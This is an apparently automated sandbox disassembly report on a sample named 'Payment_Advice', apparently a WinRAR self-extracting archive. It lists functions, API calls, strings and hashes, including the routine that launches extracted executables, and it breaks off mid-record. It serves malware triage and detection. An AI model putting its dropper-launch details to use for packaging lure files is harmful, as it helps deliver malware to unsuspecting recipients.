Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4ee35c1654bf793e9adb691d9fd74fd7ead413fca013bc92fe41bd5f845bace2
Instruction ID: 441d3ac4965c0367abd97d1f7359e9bcb74d10fcbfa1cea6c26aa3d7c6bc5ade
Opcode Fuzzy Hash: 4ee35c1654bf793e9adb691d9fd74fd7ead413fca013bc92fe41bd5f845bace2
Instruction Fuzzy Hash: 2C82FA71904246AEDF25DB64C895FFEBF79BF45300F0845B9D8899B2C2DB315A88CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00516CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8ec6413e0ff385e40912b27040b2676d767fb66dc60c54220d2d9b8823dfd21d
Instruction ID: 22f32abcac111278c3226d92e5c970f9a2ef90020ec172ac8a618ae898a41446
Opcode Fuzzy Hash: 8ec6413e0ff385e40912b27040b2676d767fb66dc60c54220d2d9b8823dfd21d
Instruction Fuzzy Hash: 30D1C5B16083458FEB14CF28D84479BBFE5BF89308F044A6DE8899B242D774ED85CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0051B7E0 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0051B7E5

Part of subcall function 00501316: GetDlgItem.USER32(00000000,00003021), ref: 0050135A
Part of subcall function 00501316: SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0051B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0051B8EF
IsDialogMessageW.USER32(?,?), ref: 0051B902
TranslateMessage.USER32(?), ref: 0051B910
DispatchMessageW.USER32(?), ref: 0051B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0051B93D
EndDialog.USER32(?,00000001), ref: 0051B960
GetDlgItem.USER32(?,00000068), ref: 0051B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0051B99E
SendMessageW.USER32(00000000,000000C2,00000000,005335F4), ref: 0051B9B1

Part of subcall function 0051D453: _wcschr.LIBVCRUNTIME ref: 0051D45C
Part of subcall function 0051D453: _wcslen.LIBCMT ref: 0051D47D

SetFocus.USER32(00000000), ref: 0051B9B8
_swprintf.LIBCMT ref: 0051BA24

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

Part of subcall function 0051D4D4: GetDlgItem.USER32(00000068,0055FCB8), ref: 0051D4E8
Part of subcall function 0051D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,0051AF07,00000001,?,?,0051B7B9,0053506C,0055FCB8,0055FCB8,00001000,00000000,00000000), ref: 0051D510
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0051D51B
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,000000C2,00000000,005335F4), ref: 0051D529
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0051D53F
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0051D559
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0051D59D
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0051D5AB
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0051D5BA
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0051D5E1
Part of subcall function 0051D4D4: SendMessageW.USER32(00000000,000000C2,00000000,005343F4), ref: 0051D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 0051BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 0051BA90
GetTickCount.KERNEL32 ref: 0051BAAE
_swprintf.LIBCMT ref: 0051BAC2
GetLastError.KERNEL32(?,00000011), ref: 0051BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 0051BB43
_swprintf.LIBCMT ref: 0051BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 0051BBD0
GetCommandLineW.KERNEL32 ref: 0051BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 0051BC47
ShellExecuteExW.SHELL32(0000003C), ref: 0051BC6F
WaitForInputIdle.USER32(?,00002710), ref: 0051BCA5
Sleep.KERNEL32(00000064), ref: 0051BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 0051BCE2
CloseHandle.KERNEL32(00000000), ref: 0051BCEB
_swprintf.LIBCMT ref: 0051BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0051BD7D
SetDlgItemTextW.USER32(?,00000065,005335F4), ref: 0051BD94
GetDlgItem.USER32(?,00000065), ref: 0051BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0051BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0051BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0051BE68
_wcslen.LIBCMT ref: 0051BEBE
_swprintf.LIBCMT ref: 0051BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 0051BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0051BF4C
GetDlgItem.USER32(?,00000068), ref: 0051BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0051BF6B
GetDlgItem.USER32(?,00000066), ref: 0051BF85
SetWindowTextW.USER32(00000000,0054A472), ref: 0051BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0051C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0051C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 0051C0BD
EnableWindow.USER32(00000000,00000000), ref: 0051C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0051C1D9

Part of subcall function 0051C73F: __EH_prolog.LIBCMT ref: 0051C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0051C1FD

Strings

"%s"%s, xrefs: 0051BD0D
STARTDLG, xrefs: 0051B801
C:\Users\user\Desktop, xrefs: 0051BBC9
^Q, xrefs: 0051C1E1
__tmp_rar_sfx_access_check_%u, xrefs: 0051BAB5
@, xrefs: 0051BB91
%s, xrefs: 0051BED8
QS, xrefs: 0051BBBC
winrarsfxmappingfile.tmp, xrefs: 0051BBA6
<, xrefs: 0051BB84
-el -s2 "-d%s" "-sp%s", xrefs: 0051BB6B
LICENSEDLG, xrefs: 0051C0B2

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleIdleInputLineMappingModuleNameParamShellShowSleepTickTranslateUnmapWait__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$^Q$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$QS
API String ID: 270980416-3271375000
Opcode ID: b81ac8c5e16a506c98127ecea510a7e419fa4d50bc48abf5272a019b60e8087f
Instruction ID: 5b0abd055cbbb93df6f38e6053b729477b8d9c4c7174a44dbd48f6c31c35ebff
Opcode Fuzzy Hash: b81ac8c5e16a506c98127ecea510a7e419fa4d50bc48abf5272a019b60e8087f
Instruction Fuzzy Hash: E742E174984245BAFB21AB649C4EFFE3F6CBB62704F040095F641A61D2CBB55E8CDB21

Uniqueness

Uniqueness Score: -1.00%

Function 00510863 Relevance: 98.3, APIs: 23, Strings: 33, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 0051087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0051088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 005108BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00510B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00510B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00510B93
ReadFile.KERNEL32(00000000,?,00007FFE,|<S,00000000), ref: 00510BB1
CloseHandle.KERNEL32(00000000), ref: 00510C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00510C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,|<S,?,00000000,?,00000800), ref: 00510C72
GetFileAttributesW.KERNELBASE(?,?,|<S,00000800,?,00000000,?,00000800), ref: 00510C9C
GetFileAttributesW.KERNEL32(?,?,D=S,00000800), ref: 00510CD8

Part of subcall function 0051081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00510836
Part of subcall function 0051081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0050F2D8,Crypt32.dll,00000000,0050F35C,?,?,0050F33E,?,?,?), ref: 00510858

_swprintf.LIBCMT ref: 00510D4A
_swprintf.LIBCMT ref: 00510D96

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

AllocConsole.KERNEL32 ref: 00510D9E
GetCurrentProcessId.KERNEL32 ref: 00510DA8
AttachConsole.KERNEL32(00000000), ref: 00510DAF
_wcslen.LIBCMT ref: 00510DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00510DD5
WriteConsoleW.KERNEL32(00000000), ref: 00510DDC
Sleep.KERNEL32(00002710), ref: 00510DE7
FreeConsole.KERNEL32 ref: 00510DED
ExitProcess.KERNEL32 ref: 00510DF5

Strings

h>S, xrefs: 0051099F
@S, xrefs: 00510AAE
`@S, xrefs: 00510A6C
?S, xrefs: 00510A35
0?S, xrefs: 005109E8
SetDllDirectoryW, xrefs: 00510888
>S, xrefs: 005109C7
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00510D84
DXGIDebug.dll, xrefs: 005108FC, 00510C5E
P>S, xrefs: 00510997
<S, xrefs: 00510917
4BS, xrefs: 00510B3D
H?S, xrefs: 005109F3
d?S, xrefs: 005109FE
h=S, xrefs: 00510947
AS, xrefs: 00510B1C
HAS, xrefs: 00510ADA
|@S, xrefs: 00510A77
0AS, xrefs: 00510ACF
|<S, xrefs: 00510B9E, 00510BA2
8>S, xrefs: 0051098F
T=S, xrefs: 0051093F
(=S, xrefs: 0051092F
dwmapi.dll, xrefs: 00510927, 00510D0D
dAS, xrefs: 00510AE5
uxtheme.dll, xrefs: 00510D17
D=S, xrefs: 00510CB9, 00510CC9
,@S, xrefs: 00510A56
,<S, xrefs: 005108E7
SetDefaultDllDirectories, xrefs: 005108B9
|?S, xrefs: 00510A09
H@S, xrefs: 00510A61
kernel32, xrefs: 00510873

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: (=S$,<S$,@S$0?S$0AS$4BS$8>S$D=S$DXGIDebug.dll$H?S$H@S$HAS$P>S$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T=S$`@S$d?S$dAS$dwmapi.dll$h=S$h>S$kernel32$uxtheme.dll$|<S$|?S$|@S$<S$>S$?S$@S$AS
API String ID: 1207345701-2759046448
Opcode ID: 68d8e87b15c8e2248e49db3e3633965fab5e88bf1fd7cc4a15cc7a53eb672c1d
Instruction ID: 08f9e77566da7da94ce45122e9c30494300010282e7052befd1904d31e7a0df3
Opcode Fuzzy Hash: 68d8e87b15c8e2248e49db3e3633965fab5e88bf1fd7cc4a15cc7a53eb672c1d
Instruction Fuzzy Hash: 9DD171B1008385ABD3259F50D84DADFBFE8BF85704F50491DF1859A290DBB49A88CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0050DA67 Relevance: 26.9, APIs: 5, Strings: 10, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0050DA70
_wcschr.LIBVCRUNTIME ref: 0050DA91
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0050DAAC

Part of subcall function 0050C29A: _wcslen.LIBCMT ref: 0050C2A2

Part of subcall function 005105DA: _wcslen.LIBCMT ref: 005105E0

Part of subcall function 00511B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0050BAE9,00000000,?,?,?,00010440), ref: 00511BA0

_wcslen.LIBCMT ref: 0050DDE9
__fprintf_l.LIBCMT ref: 0050DF1C

Strings

$%s:, xrefs: 0050DEFF
9S, xrefs: 0050DDD0
R, xrefs: 0050DC0C
*messages***, xrefs: 0050DBC1
, xrefs: 0050DD6C
,, xrefs: 0050DF57
*messages***, xrefs: 0050DBFA
@%s:, xrefs: 0050DF06, 0050DF12
RTL, xrefs: 0050DEDE
a, xrefs: 0050DC16

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a$9S
API String ID: 557298264-1325100120
Opcode ID: 110b8bcf5253894804ac3e02a6e28e5c4663e2b97346ed5a000dcb5eff4fd192
Instruction ID: ed905a44177dd65b47b131cb966c8d4feb1bfd9975d671978c9ced6252083a26
Opcode Fuzzy Hash: 110b8bcf5253894804ac3e02a6e28e5c4663e2b97346ed5a000dcb5eff4fd192
Instruction Fuzzy Hash: EF32D072900219DBDB24EFA8C84AAEE7FB9FF55300F50095AF905972C1E7B19D85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0051D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0051B579
Part of subcall function 0051B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0051B58A
Part of subcall function 0051B568: IsDialogMessageW.USER32(00010440,?), ref: 0051B59E
Part of subcall function 0051B568: TranslateMessage.USER32(?), ref: 0051B5AC
Part of subcall function 0051B568: DispatchMessageW.USER32(?), ref: 0051B5B6

GetDlgItem.USER32(00000068,0055FCB8), ref: 0051D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,0051AF07,00000001,?,?,0051B7B9,0053506C,0055FCB8,0055FCB8,00001000,00000000,00000000), ref: 0051D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0051D51B
SendMessageW.USER32(00000000,000000C2,00000000,005335F4), ref: 0051D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0051D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0051D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0051D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0051D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0051D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0051D5E1
SendMessageW.USER32(00000000,000000C2,00000000,005343F4), ref: 0051D5F0

Strings

\, xrefs: 0051D549

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: c0db05bbcb3ff61496d5d33324b0aae7c64ae88275a585ff821651cd9d139923
Instruction ID: a70c0c4511880b97b48c3a78dc1256a347d1ae6bec37f217444d1b4f675ba9c0
Opcode Fuzzy Hash: c0db05bbcb3ff61496d5d33324b0aae7c64ae88275a585ff821651cd9d139923
Instruction Fuzzy Hash: B731AF71545342ABE301DB289C4AFAB7FACEBA2718F000518F95196290DBA49B0C9B76

Uniqueness

Uniqueness Score: -1.00%

Function 0051D78F Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 184
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0051D7AE
ShellExecuteExW.SHELL32(?), ref: 0051D8DE
IsWindowVisible.USER32(?), ref: 0051D911
ShowWindow.USER32(?,00000000), ref: 0051D91D
WaitForInputIdle.USER32(?,000007D0), ref: 0051D92E
GetExitCodeProcess.KERNEL32(?,?), ref: 0051D959
CloseHandle.KERNEL32(?), ref: 0051D97F
ShowWindow.USER32(?,00000001), ref: 0051D9E1

Strings

.inf, xrefs: 0051D89A
.exe, xrefs: 0051D989

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_wcslen
String ID: .exe$.inf
API String ID: 3646668279-3750412487
Opcode ID: 22a1d8f72b196750b7d89ec622ed62d8919a0a6b7702ce8d00a2438090542496
Instruction ID: 9c467d5c63997c1034cc01bb3a436f36a99b947f4c738884efe25a1735deedba
Opcode Fuzzy Hash: 22a1d8f72b196750b7d89ec622ed62d8919a0a6b7702ce8d00a2438090542496
Instruction Fuzzy Hash: 4B51BF75408384AAFB209B249844BEBBFF4BF96744F04081DF9C197191E7B589C9DB72

Uniqueness

Uniqueness Score: -1.00%

Function 0051CE87 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0051CE9D

Part of subcall function 0050B690: _wcslen.LIBCMT ref: 0050B696

_swprintf.LIBCMT ref: 0051CED1

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

SetDlgItemTextW.USER32(?,00000066,0054946A), ref: 0051CEF1
_wcschr.LIBVCRUNTIME ref: 0051CF22
EndDialog.USER32(?,00000001), ref: 0051CFFE

Strings

%s%s%u, xrefs: 0051CEC6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 689974011-1360425832
Opcode ID: 0f04047112c41f766c135918c494d09fc64ce97e0af7aa700e4882295c4397d8
Instruction ID: cff72eb2ff152dd001d95a6cf97c88f4865eb3de4efb8862958672a9bcf15517
Opcode Fuzzy Hash: 0f04047112c41f766c135918c494d09fc64ce97e0af7aa700e4882295c4397d8
Instruction Fuzzy Hash: 3741B4B5840659AAEF219B50CC45EEE7BBCFB45304F4084A6F909E7081EE758A88DF71

Uniqueness

Uniqueness Score: -1.00%

Function 00523B72 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,00523C35,00000000,00000FA0,00562088,00000000,?,00523D60,00000004,InitializeCriticalSectionEx,00536394,InitializeCriticalSectionEx,00000000), ref: 00523C03

Strings

c*R, xrefs: 00523BBE, 00523BC8, 00523BD9
api-ms-, xrefs: 00523BC3

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$c*R
API String ID: 3664257935-1332622827
Opcode ID: 6fc3f11a543943ef310ec3033c118ff4b1d4f366fa093a0b3730cded88139313
Instruction ID: 07e810df10423967dee90e66ab8729da6f397bb516fbae3cd897377b82965fa9
Opcode Fuzzy Hash: 6fc3f11a543943ef310ec3033c118ff4b1d4f366fa093a0b3730cded88139313
Instruction Fuzzy Hash: 58119136A45631ABCB228F68AC45B5A3FA4BF12770F250150F915FB2D0E768EE049AD1

Uniqueness

Uniqueness Score: -1.00%

Function 0052A95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,005257FB,005257FB,?,?,?,0052ABAC,00000001,00000001,2DE85006), ref: 0052A9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0052ABAC,00000001,00000001,2DE85006,?,?,?), ref: 0052AA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0052AB35
__freea.LIBCMT ref: 0052AB42

Part of subcall function 00528E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00524286,?,0000015D,?,?,?,?,00525762,000000FF,00000000,?,?), ref: 00528E38

__freea.LIBCMT ref: 0052AB4B
__freea.LIBCMT ref: 0052AB70

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 8ebef2b6da2afb80be081ea1e93d2be7d46774724e0b76b11dd2a65a4da9e27d
Instruction ID: dc171be6f59fe5b9fd2a20f020c3d28ccd37c9afe021be95d0674d4ffbdfff5d
Opcode Fuzzy Hash: 8ebef2b6da2afb80be081ea1e93d2be7d46774724e0b76b11dd2a65a4da9e27d
Instruction Fuzzy Hash: CD51D272600226AFDB258E64EC55EBBBFAAFF86710F154669FC04D61C0EB34DC40D691

Uniqueness

Uniqueness Score: -1.00%

Function 0051ABAB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0051ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 0051ABF9

Part of subcall function 00511FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0050C116,00000000,.exe,?,?,00000800,?,?,?,00518E3C), ref: 00511FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0051ABE9

Strings

@UJu, xrefs: 0051ABF9
EDIT, xrefs: 0051ABCD, 0051ABD8, 0051ABE5

Memory Dump Source

